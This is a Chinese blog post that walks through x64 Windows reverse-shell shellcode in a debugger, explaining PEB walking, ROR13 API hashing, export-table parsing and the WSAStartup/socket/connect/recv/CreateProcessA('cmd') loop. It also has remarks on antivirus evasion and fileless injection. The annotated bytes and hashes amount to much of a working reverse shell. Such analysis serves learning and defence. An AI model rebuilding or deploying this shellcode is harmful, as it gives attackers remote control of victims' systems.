3.2.2.2 欸,是不是有什么好东西?(反调试)

注意到

BYTE BeingDebugged;                   // 0x002 - 是否在调试中

到时候做反调试的时候,不但可以依靠加载器,也可以自行判断退出

2.4 从导出表手动定位需要的函数

2.4.1 大小写转换

接下来就是把小写变成大写,把哈希值放在r9d,(已经修正了反汇编错误)

;------------ 5 哈希循环 ---------------
; 清空 r9 和 rax
00007FFD0C4E8A24   | 4D:31C9                     | xor r9,r9                            |
00007FFD0C4E8A27   | 48:31C0                     | xor rax,rax                          |

; 从 地址 rsi 所指向的内存 取一个字节,加载到 al 寄存器,然后根据方向标志自动调整 rsi
; rsi此时指向模块名
00007FFD0C4E8A2A   | AC                          | lodsb                                |

; 大小写转换
00007FFD0C4E8A2B   | 3C 61                       | cmp al,61                            | 61:'a'
00007FFD0C4E8A2D   | 7C 02                       | jl ntdll,2h                |
00007FFD0C4E8A2F   | 2C 20                       | sub al,20                            |

; 循环控制
00007FFD0C4E8A31   | 41:C1C9 0D                  | ror r9d,D                            |
00007FFD0C4E8A35   | 41:01C1                     | add r9d,eax                          |
00007FFD0C4E8A38   | E2 ED                       | loop EDh              |

2.4.1.2 位置无关代码

00007FFD0C4E8A38   | E2 ED    | loop 0x7FFD0C4E8A27

E2loop rel8opcodeED是一个带符号的 8 位立即数,十六进制 0xED = 有符号的 -19(十进制)。这条指令的长度是 2 字节,所以它实际上是:

target = RIP_after(loop) + signed_offset
       = (current_IP + 2) + (-19)

当前指令地址 0x7FFD0C4E8A38,加上指令长度 2 → 0x7FFD0C4E8A3A,再加-19 → 0x7FFD0C4E8A27,刚好回到loop开头那条xor rax,rax (00007FFD0C4E8A27)

2.4.2 手动定位导出表

然后循环取出模块,看看有没有导出表和函数名字,没有就错误处理


抱歉因为这里笔者断点没有设置好导致程序崩了,接下来是第二次运行,内存地址和之前的会有偏差,但是效果不变(位置无关代码)


; 保存模块基址和哈希值
00007FFD0C4E8A3A   | 52                          | push rdx                             |
00007FFD0C4E8A3B   | 41:51                       | push r9                              |

; +0x20 是 PEB_LDR_DATA 中的 InMemoryOrderModuleList → 找到下一个模块的LDR_DATA_TABLE_ENTRY。
00007FFD0C4E8A3D   | 48:8B52 20                  | mov rdx,qword ptr ds:[rdx+20]        |
; +0x3C 是 PE 结构中 DOS 头的 e_lfanew,也就是 NT Headers 的偏移。
00007FFD0C4E8A41   | 8B42 3C                     | mov eax,dword ptr ds:[rdx+3C]        |
; rax = rdx + e_lfanew → 得到 IMAGE_NT_HEADERS 的地址
00007FFD0C4E8A44   | 48:01D0                     | add rax,rdx                          |
; 导出表目录的 RVA(地址相对基址的偏移)
00007FFD0C4E8A47   | 8B80 88000000               | mov eax,dword ptr ds:[rax+88]        |
; 检查是否存在导出表(是否为 0)
00007FFD0C4E8A4D   | 48:85C0                     | test rax,rax                         |
; 如果导出表为 0,跳过 → 模块无导出表(如某些 ntdll 内部模块)
00007FFD0C4E8A50   | 74 67                       | je 67h                |
; 把导出表的 RVA 转换为 VA(即导出表的真实地址)
00007FFD0C4E8A52   | 48:01D0                     | add rax,rdx                          |
; 保存导出表地址
00007FFD0C4E8A55   | 50                          | push rax                             |
; 读取导出表中的 NumberOfNames 字段 → 有多少个导出函数名
00007FFD0C4E8A56   | 8B48 18                     | mov ecx,dword ptr ds:[rax+18]        |
; 读取 AddressOfNames 的 RVA → 是一个数组,每项是导出函数名的 RVA
00007FFD0C4E8A59   | 44:8B40 20                  | mov r8d,dword ptr ds:[rax+20]        |
; 把函数名表 RVA 转换为 VA → r8 = AddressOfNames 数组地址
; 此时 r8 就指向一个函数名列表(如 "connect", "send", "recv")
00007FFD0C4E8A5D   | 49:01D0                     | add r8,rdx                           | r8:"ws2_32"
; 如果 ecx == 0 → 没有导出函数名 → 跳过
00007FFD0C4E8A60   | E3 56                       | jrcxz 56h             |
; 准备循环每一个函数名
00007FFD0C4E8A62   | 48:FFC9                     | dec rcx                              |

看得出来这是在手动解析导出表

  • 从模块基地址出发,解析导出表
  • 获取导出函数数量(ecx)
  • 获取函数名地址列表(r8)
  • 准备进入循环,对比函数名 → 查找目标 API(如 connect、WSAStartup 等)

2.4.2.1 导出表(Export Table)

Windows 可执行文件(PE 文件)中的导出表是用来描述“这个模块(DLL)向外导出了哪些函数/变量”的一张结构表。

导出表的位置一般在:

  1. 从 PE 文件的 DOS 头偏移 0x3C 处获取 e_lfanew → NT Headers 起始位置。
  2. 在 NT Headers 的 OptionalHeader.DataDirectory[0] 中就是导出表(Export Directory)的 RVA 和大小。
2.4.2.1.1 导出表组成
  1. IMAGE_EXPORT_DIRECTORY
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;          // 保留,通常为 0
    DWORD   TimeDateStamp;            // 创建时间戳
    WORD    MajorVersion;             // 版本号主版本
    WORD    MinorVersion;             // 版本号次版本
    DWORD   Name;                     // 指向 DLL 名称的 RVA
    DWORD   Base;                     // 导出函数的起始 ordinal 值(一般为 1)
    DWORD   NumberOfFunctions;        // Export Address Table 中的函数数量
    DWORD   NumberOfNames;            // 有名字的函数个数(小于或等于上面的)
    DWORD   AddressOfFunctions;       // RVA,函数地址表(Export Address Table)
    DWORD   AddressOfNames;           // RVA,函数名表(Function Name Table)
    DWORD   AddressOfNameOrdinals;    // RVA,函数名对应的 ordinal 索引(Function Ordinal Table)
} IMAGE_EXPORT_DIRECTORY;
  1. 函数名和地址数组
  • AddressOfFunctions:是个 DWORD 数组,长度为 NumberOfFunctions,每个元素是函数的 RVA。
  • AddressOfNames:是个 DWORD 数组,长度为 NumberOfNames,每个元素是函数名的 RVA。
  • AddressOfNameOrdinals:是个 WORD 数组,长度为 NumberOfNames,每个元素是函数在 AddressOfFunctions 中的索引。
2.4.2.1.2 查找函数名步骤

想找某个函数(如 connect)的地址,流程如下:

  1. 通过导出表的 AddressOfNames 遍历每个函数名。
  2. 将函数名对应的索引,通过 AddressOfNameOrdinals 查出其 ordinal 索引。
  3. 用 ordinal 索引查 AddressOfFunctions,得到函数地址的 RVA。
  4. 用模块基址 + 函数 RVA → 得到真正地址。

例子:

比如模块 kernel32.dll,导出函数:

  • AddressOfNames[3] = 0x1020 → "GetProcAddress"
  • AddressOfNameOrdinals[3] = 5
  • AddressOfFunctions[5] = 0x3040

如果模块基址是 0x10000000,那么:

函数地址 = 0x10000000 + 0x3040 = 0x10003040
2.4.2.1.3 加深理解为什么用这么多数组

因为有些函数可能:

  • 没有名字(只能按 ordinal 调用)
  • 名字和地址的顺序不同
  • 提供更快查找(通过 ordinal 快速定位)

2.5 从导出表定位函数

如果一切正常,寄存器如图:
img

找到函数名称表自然要找函数名

00007FFCCBE278D0 | E3 56                  | jrcxz 56h  |
00007FFCCBE278D2 | 48:FFC9                | dec rcx                              |
; 取第 rcx 个函数名 RVA
00007FFCCBE278D5 | 41:8B3488              | mov esi,dword ptr ds:[r8+rcx*4]      | r8+rcx*4:Feature_PackagedComElevationSupport__private_descriptor+4EF0
; 转为 VA
00007FFCCBE278D9 | 48:01D6                | add rsi,rdx                          | rsi:L"ntdll.dll"+14
; 清空临时存储器
00007FFCCBE278DC | 4D:31C9                | xor r9,r9                            |
00007FFCCBE278DF | 48:31C0                | xor rax,rax                          | 
; 计算哈希
rax:Feature_PackagedComElevationSupport__private_descriptor+38
00007FFCCBE278E2 | AC                     | lodsb                                |
00007FFCCBE278E3 | 41:C1C9 0D             | ror r9d,D                            |
00007FFCCBE278E7 | 41:01C1                | add r9d,eax                          |
; 比对哈希(存于 AH)
00007FFCCBE278EA | 38E0                   | cmp al,ah                            |
; 若不相等,继续循环
00007FFCCBE278EC | 75 F1                  | jne F1h    |
; 模块基址加入哈希中,做一个“加盐”处理
00007FFCCBE278EE | 4C:034C24 08           | add r9,qword ptr ss:[rsp+8]          |
; 如果匹配,说明找到了想要的 API 名。
00007FFCCBE278F3 | 45:39D1                | cmp r9d,r10d                         |
; 如果哈希不等,跳回,处理下一个函数名。
00007FFCCBE278F6 | 75 D8                  | jne D8h    |

找到和哈希相等的函数名(避免在shellcode直接编码函数名被杀)
img

期间观察RSI,看到函数名一个个闪过
img
直到这个时候停下来了,要寻找的是LoadLibraryExA

2.5.1 什么是LoadLibraryExA

LoadLibraryExA函数的主要作用是:
将一个DLL(动态链接库)加载到当前进程的地址空间中,并返回该模块的句柄(HMODULE),供后续使用,比如调用其中的函数或读取资源。

LoadLibraryExALoadLibraryA的超集,提供了更多控制加载行为的能力

需求 LoadLibraryA LoadLibraryExA
加载 DLL 并调用函数 ✅ 支持 ✅ 支持
从特定目录加载 DLL ❌ 不支持 LOAD_LIBRARY_SEARCH_* flags
只加载资源,不执行代码 ❌ 不支持 LOAD_LIBRARY_AS_IMAGE_RESOURCE
仅当作数据文件加载 ❌ 不支持 LOAD_LIBRARY_AS_DATAFILE
HMODULE LoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);
  • lpLibFileName: DLL 文件名(ANSI 字符串,如 "user32.dll")
  • hFile: 一般为 NULL
  • dwFlags: 控制加载行为,常为 0
  • 返回值是 DLL 的模块基址(句柄),如果失败则返回 NULL。

2.6 找到一个函数真实地址

这里找到了LoadLibraryExA,可以动态加载dll了,接下来就是

; 拿到函数地址
00007FFCCBE278F8 | 58                     | pop rax                              |
; 取出函数序号表的RVA
00007FFCCBE278F9 | 44:8B40 24             | mov r8d,dword ptr ds:[rax+24]        |
; 把上一步获得的 RVA 加上模块基地址 rdx,就得到了导出表中 AddressOfNameOrdinals 的 实际地址
00007FFCCBE278FD | 49:01D0                | add r8,rdx                           |
; 从 AddressOfNameOrdinals 中,根据索引 rcx 取出第 rcx 项的 序号(Ordinal)。
00007FFCCBE27900 | 6641:8B0C48            | mov cx,word ptr ds:[r8+rcx*2]        | r8+rcx*2:__NULL_DELAY_IMPORT_DESCRIPTOR+2732
; 获取 IMAGE_EXPORT_DIRECTORY::AddressOfFunctions,这是函数地址表的 RVA。
00007FFCCBE27905 | 44:8B40 1C             | mov r8d,dword ptr ds:[rax+1C]        |
; 将函数地址表的 RVA 转为实际地址。
00007FFCCBE27909 | 49:01D0                | add r8,rdx                           |
; 根据前面得到的 Ordinal rcx,查找 AddressOfFunctions[Ordinal] → 得到函数的 RVA,并存入 e
00007FFCCBE2790C | 41:8B0488              | mov eax,dword ptr ds:[r8+rcx*4]      | r8+rcx*4:__NULL_DELAY_IMPORT_DESCRIPTOR+2F18
; 把函数 RVA 加上模块基地址,最终就得到了函数的实际地址。
00007FFCCBE27910 | 48:01D0                | add rax,rdx                          |

具体寻找过程参考前文,这里只给出结构体

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD Characteristics;
    DWORD TimeDateStamp;
    WORD  MajorVersion;
    WORD  MinorVersion;
    DWORD Name;
    DWORD Base;
    DWORD NumberOfFunctions;
    DWORD NumberOfNames;
    DWORD AddressOfFunctions;     // DWORD RVA[NumberOfFunctions]
    DWORD AddressOfNames;         // DWORD RVA[NumberOfNames]
    DWORD AddressOfNameOrdinals;  // WORD Ordinal[NumberOfNames]
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

2.7 调用api

上来先是一顿pop恢复寄存器

00007FFCCBE27913 | 41:58                  | pop r8                               |
00007FFCCBE27915 | 41:58                  | pop r8                               |
00007FFCCBE27917 | 5E                     | pop rsi                              | rsi:"LoadLibraryExA"
00007FFCCBE27918 | 59                     | pop rcx                              |
00007FFCCBE27919 | 5A                     | pop rdx                              |
00007FFCCBE2791A | 41:58                  | pop r8                               |
00007FFCCBE2791C | 41:59                  | pop r9                               |
00007FFCCBE2791E | 41:5A                  | pop r10                              |

img

接下来:

; 调整栈空间
00007FFCCBE27920 | 48:83EC 20             | sub rsp,20                           |
; 压入r10
00007FFCCBE27924 | 41:52                  | push r10                             | r10:L"襌棪ā"
00007FFCCBE27926 | FFE0                   | jmp rax                              | rax:LoadLibraryAStub

2.7.1 为什么要压入R10?

注意最刚刚pop了一堆东西,根据栈先进后出的特性,我们找找是什么时候压下去的r10
img

img

有意思的来了,首先最开始

00007FFCCBE2786F | E8 C0000000            | call C0h   |

栈上00007FFCCBE27874
img
这个很快就pop掉了,然后又是一次call,也就是说,现在被pop r10 的,正是call rbp的下一条指令00007FFCCBE27968(位置无关,现场生成)

img


接下来,根据win32调用约定,手动把“返回地址”压入栈顶,跳转到rax(导出表 RVA 真实地址)调用系统api(参数rsi => &"ws2_32"),然后返回到指定的位置上

2.7.2 命令分支

下面是一些失败逻辑,就是去重试获取下一个导出表

; 7.1 没有导出函数名,失败逻辑跳转到这,进行重试
00007FFCCBE27928 | 58                     | pop rax                              | rax:LoadLibraryAStub
; 7.2 无导出表,失败逻辑跳转到这,进行重试
00007FFCCBE27929 | 41:59                  | pop r9                               | r9:UiaNodeFromProvider+22980
00007FFCCBE2792B | 5A                     | pop rdx                              |
00007FFCCBE2792C | 48:8B12                | mov rdx,qword ptr ds:[rdx]           |
00007FFCCBE2792F | E9 57FFFFFF            | jmp 57FFFFFFh     |

2.8 调用模块

不用关心dll做了什么,我们就像调用函数一样调用完来到这里(或者反过来讲,正常调用函数就是刚刚的行为罢了)
img

获得了运行的句柄,接下来就是:

2.8.1 调用 WSAStartup

它是初始化 Winsock(Windows Socket API)的一部分,在使用任何网络功能前都必须先调用它。

int WSAStartup(
  WORD wVersionRequested,     // rcx
  LPWSADATA lpWSAData         // rdx
);
寄存器 参数 / 功能
rcx 0x0101(Winsock 版本)
rdx &wsaData
r10d WSAStartup 的哈希值
rbp 之前查表获取的 WSAStartup 函数地址
; ———————— 9 准备参数 & 调用 WSAStartup ————————
00007FFCCBE27968 | 4C:89EA                | mov rdx,r13                          | ;参数2 → 指向 WSAData 结构的地址
00007FFCCBE2796B | 68 01010000            | push 101                             |; 将 0x101(即 MAKEWORD(1,1))压栈
00007FFCCBE27970 | 59                     | pop rcx                              |; 将 0x101 弹出赋值给 rcx(第一个参数)
00007FFCCBE27971 | 41:BA 29806B00         | mov r10d,6B8029                      |; 函数哈希值
00007FFCCBE27977 | FFD5                   | call rbp                             | ; 调用函数指针rbp:WindowPattern_WaitForInputIdle+A1B94

r13是在这里分配的
img

2.8.2 创建套接字 socket

socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
参数位置 参数含义 寄存器
第1参数 af rcx
第2参数 type rdx
第3参数 protocol r8
所得寄存器 含义 实际数值
rcx af 2 (AF_INET)
rdx type 1 (SOCK_STREAM)
r8 protocol 0 (IPPROTO_TCP)
; ———————— 10 创建套接字 socket(AF_INET, SOCK_STREAM, 
; 平衡栈 + 占位
00007FFCCBE27979 | 50                     | push rax                             |
00007FFCCBE2797A | 50                     | push rax                             |
; 清理环境
00007FFCCBE2797B | 4D:31C9                | xor r9,r9                            |
; 设置 protocol = IPPROTO_TCP = 0
00007FFCCBE2797E | 4D:31C0                | xor r8,r8                            |
; 设置 AF_INET 的值准备给 rdx
00007FFCCBE27981 | 48:FFC0                | inc rax                              |
; rdx = 1 → type = SOCK_STREAM
00007FFCCBE27984 | 48:89C2                | mov rdx,rax                          |
; rcx = 2 → af = AF_INET
00007FFCCBE27987 | 48:FFC0                | inc rax                              |
00007FFCCBE2798A | 48:89C1                | mov rcx,rax                          |
; 函数哈希
00007FFCCBE2798D | 41:BA EA0FDFE0         | mov r10d,E0DF0FEA                    |
; 调用
00007FFCCBE27993 | FFD5                   | call rbp                             | rbp:WindowPattern_WaitForInputIdle+A1B94

2.8.3 连接到远程主机 connect

connect(sock, (struct sockaddr*)&addr, sizeof(addr));
参数 说明
RCX rdi socket
RDX r12 struct sockaddr_in*
R8 0x10 sizeof(sockaddr_in)
R10D 0x6174A599 connect 的哈希(用于动态解析)
CALL RBP 执行调用 connect 函数
; 参数1 socket
00007FFCCBE27995 | 48:89C7                | mov rdi,rax                          | rdi:UiaNodeFromProvider+22980
; 参数2 add
00007FFCCBE27998 | 6A 10                  | push 10                              |
00007FFCCBE2799A | 41:58                  | pop r8                               |
; 参数3 struct sockaddr_in*
00007FFCCBE2799C | 4C:89E2                | mov rdx,r12                          |
; 套接字句柄,保存在 rdi 中(是上一步 socket() 的返回值)
00007FFCCBE2799F | 48:89F9                | mov rcx,rdi                          | rdi:UiaNodeFromProvider+22980
; 功能号哈希
00007FFCCBE279A2 | 41:BA 99A57461         | mov r10d,6174A599                    |
; 调用
00007FFCCBE279A8 | FFD5                   | call rbp                             | rbp:WindowPattern_WaitForInputIdle+A1B94

2.9 循环

不断从网络socket (sock)recv(),然后用CreateProcessA("cmd", buffer, …)执行命令,再根据返回值决定是否继续循环。下面把它拆成几个逻辑块来讲:

2.9.1 栈空间准备

00007FFCCBE279AA | 48:81C4 40020000       | add rsp,240                          |
  • 为命令缓冲区、临时空间等一次性在栈上预留 0x240 (576) 字节。
  • 之后所有对 rsp 的偏移,都是在这块空间里面进行的。

2.9.2 构造 "cmd\0" 字符串

; 构造cmd\0(小端序)
00007FFCCBE279B1 | 49:B8 636D640000000000 | mov r8,646D63                        |
; 获得地址
00007FFCCBE279BB | 41:50                  | push r8                              |
; 再次 push 以供 lpApplicationName
00007FFCCBE279BD | 41:50                  | push r8                              |
; 获取地址
00007FFCCBE279BF | 48:89E2                | mov rdx,rsp                          |
  • "cmd\0" 的 32-bit 常量加载到 r8,然后两次 push
  • rsp 此时指向第二个 "cmd\0" 副本,把它的地址放到 rdx(将在后面做 CreateProcessA 的第 2 或第 3 参数用)。

2.9.3 为 CreateProcessA 的其它参数占位

; hProcess (占位)
00007FFCCBE279C2 | 57                     | push rdi                             | rdi:UiaNodeFromProvider+22980
00007FFCCBE279C3 | 57                     | push rdi                             | rdi:UiaNodeFromProvider+22980

; lpProcessAttributes
00007FFCCBE279C4 | 57                     | push rdi                             | rdi:UiaNodeFromProvider+22980

; r8 = lpThreadAttributes = NULL
00007FFCCBE279C5 | 4D:31C0                | xor r8,r8                            |
; dwCreationFlags = 0xD(这里先占一个常量)
00007FFCCBE279C8 | 6A 0D                  | push D                               |
; RCX = 0xD → CreateProcessA 第一个参数
00007FFCCBE279CA | 59                     | pop rcx                              |
00007FFCCBE279CB | 41:50                  | push r8                              |
; 反复 `lodsb` 循环清零命令行缓冲区
00007FFCCBE279CD | E2 FC                  | loop FCh   |
  • 这些 push/xor/pop 主要是给 CreateProcessA 六七个参数留出空间,真实填写将在后面。
  • loop 指令通常是配合 rcxrsi 清零缓冲区:将栈上的命令缓冲区全部设为 0

2.9.4 写入命令缓冲区

; dwCreationFlags 二次写入
00007FFCCBE279CF | 66:C74424 54 0101      | mov word ptr ss:[rsp+54],101         |
; RAX = 命令缓冲区(offset 0x18)
00007FFCCBE279D6 | 48:8D4424 18           | lea rax,qword ptr ss:[rsp+18]        | [rsp+18]:L"襌棪ā"
; 写字符 'h'
00007FFCCBE279DB | C600 68                | mov byte ptr ds:[rax],68             | 68:'h'
; RSI = 栈顶,指向 lpCommandLine 起始
00007FFCCBE279DE | 48:89E6                | mov rsi,rsp                          |
; 参数 lpCommandLine
00007FFCCBE279E1 | 56                     | push rsi                             |
; 参数 lpApplicationName (这里是 "h"+buffer 开头)
00007FFCCBE279E2 | 50                     | push rax                             |
; bInheritHandles = NULL
00007FFCCBE279E3 | 41:50                  | push r8                              |
; lpThreadAttributes = NULL
00007FFCCBE279E5 | 41:50                  | push r8                              |
; lpProcessAttributes = NULL
00007FFCCBE279E7 | 41:50                  | push r8                              |
; 修改 r8 以给下一次用
00007FFCCBE279E9 | 49:FFC0                | inc r8                               |
; dwCreationFlags 或第几个参数
00007FFCCBE279EC | 41:50                  | push r8                              |
00007FFCCBE279EE | 49:FFC8                | dec r8                               |
; R9 = size
00007FFCCBE279F1 | 4D:89C1                | mov r9,r8                            |
; RCX = size (socket buffer 大小)
00007FFCCBE279F4 | 4C:89C1                | mov rcx,r8                           |
  • 这部分在往你之前 add rsp,0x240 分配的栈区里写入命令字节(先写一个 'h',后面还会写其它字节)。
  • 通过一系列 push 将后面要调用 recv(sock, buffer, len, flags) 的参数压栈/置寄存器。

2.9.5 从 socket recv() 命令

; 哈希 → recv()
00007FFCCBE279F7 | 41:BA 79CC3F86         | mov r10d,863FCC79                    |
; 调用 recv(sock=RCX, buf=RDX, len=R8, flags=R9)
00007FFCCBE279FD | FFD5                   | call rbp                             |
; flags = 0
 rbp:WindowPattern_WaitForInputIdle+A1B94
00007FFCCBE279FF | 48:31D2                | xor rdx,rdx                          |
; RDX = -1 or 0xFFFFFFFF
00007FFCCBE27A02 | 48:FFCA                | dec rdx                              |
; ECX = 接收到的数据长度 (首 4 字节)
00007FFCCBE27A05 | 8B0E                   | mov ecx,dword ptr ds:[rsi]           |
  • r10d 存放 recv 的哈希,rbp 仍是之前解析出的 recv 函数地址。
  • recv() 之后,raxal 会放返回值(收到的字节数或错误码)。
  • 它把 buffer 起始的 4 字节当作长度字段,读取到 ecx

2.9.6 调用CreateProcessA启动远程命令

; 哈希
00007FFCCBE27A07 | 41:BA 08871D60         | mov r10d,601D8708                    |
; 启动
00007FFCCBE27A0D | FFD5                   | call rbp                             | rbp:WindowPattern_WaitForInputIdle+A1B94

2.9.6 循环结束与清理

; 下一次 recv 大小或标志
00007FFCCBE27A0F | BB F0B5A256            | mov ebx,56A2B5F0                     |
; 哈希 → closesocket or WSACleanup
00007FFCCBE27A14 | 41:BA A695BD9D         | mov r10d,9DBD95A6                    |
; 调用清理函数
00007FFCCBE27A1A | FFD5                   | call rbp                             | rbp:WindowPattern_WaitForInputIdle+A1B94
; 恢复一部分栈
00007FFCCBE27A1C | 48:83C4 28             | add rsp,28                           |
; 检查 recv 返回值
00007FFCCBE27A20 | 3C 06                  | cmp al,6                             |
00007FFCCBE27A22 | 7C 0A                  | jl 0Ah     |
; 小于 6 (错误) 则跳出
00007FFCCBE27A24 | 80FB E0                | cmp bl,E0                            |
; 根据上面 ebx 判断
00007FFCCBE27A27 | 75 05                  | jne 05h    |
; 不匹配也跳出
00007FFCCBE27A29 | BB 4713726F            | mov ebx,6F721347                     |
; 更新循环标志
00007FFCCBE27A2E | 6A 00                  | push 0                               |
00007FFCCBE27A30 | 59                     | pop rcx                              |
; 准备下一个哈希功能
00007FFCCBE27A31 | 41:89DA                | mov r10d,ebx                         |
; 跳回 dispatcher,重复处理
00007FFCCBE27A34 | FFD5                   | call rbp                             | rbp:WindowPattern_WaitForInputIdle+A1B94
  • 先用 ebx/al/bl 检查 recvCreateProcessA 是否成功,否则退出循环。
  • 成功后,把下一个要调用的功能哈希放进 r10d,再 call rbp 跳回“功能分发器”(dispatcher)入口,进入下一次命令收发→执行循环。

2.9.7 整体逻辑

  1. 分配栈空间
  2. 准备 "cmd",清零命令缓冲区
  3. recv() 从远程主机读命令(前 4 字节是长度)
  4. CreateProcessA("cmd", buffer, …) 执行读到的命令
  5. 可选 closesocket/WSACleanup 清理
  6. 循环回到 dispatcher,等待下一条命令

这一整套流程就是一个经典的反向 shell 循环:从网络读取命令并在本地执行,直到出错或被指令退出。

2.9.8 难道说?

对的,我们还可以加入其它的函数,就像正常调用一样,也可以考虑不退出,永远重试。

三、总结

shellcode是位置无关的,你只要给它一块有权限的内存,无论被加载到哪个角落,都可以获取到本身的位置加上lib的位置,然后完成反弹shell。全程没有文件本体,方便附加在其它进程上,加载器用完哪怕被杀也没事。

还有更加花的玩法,比方说用时候加载,不用了立刻加密回去,就是在每个大功能前加上加密上一个+解密下一个的代码,这里分析的是最基础的,之后会分析这种动态加载的。(啊啊啊啊啊,又双叒叕挖坑了)>﹏<

posted @ 2025-05-19 21:49  归海言诺  阅读(358)  评论(0)    收藏  举报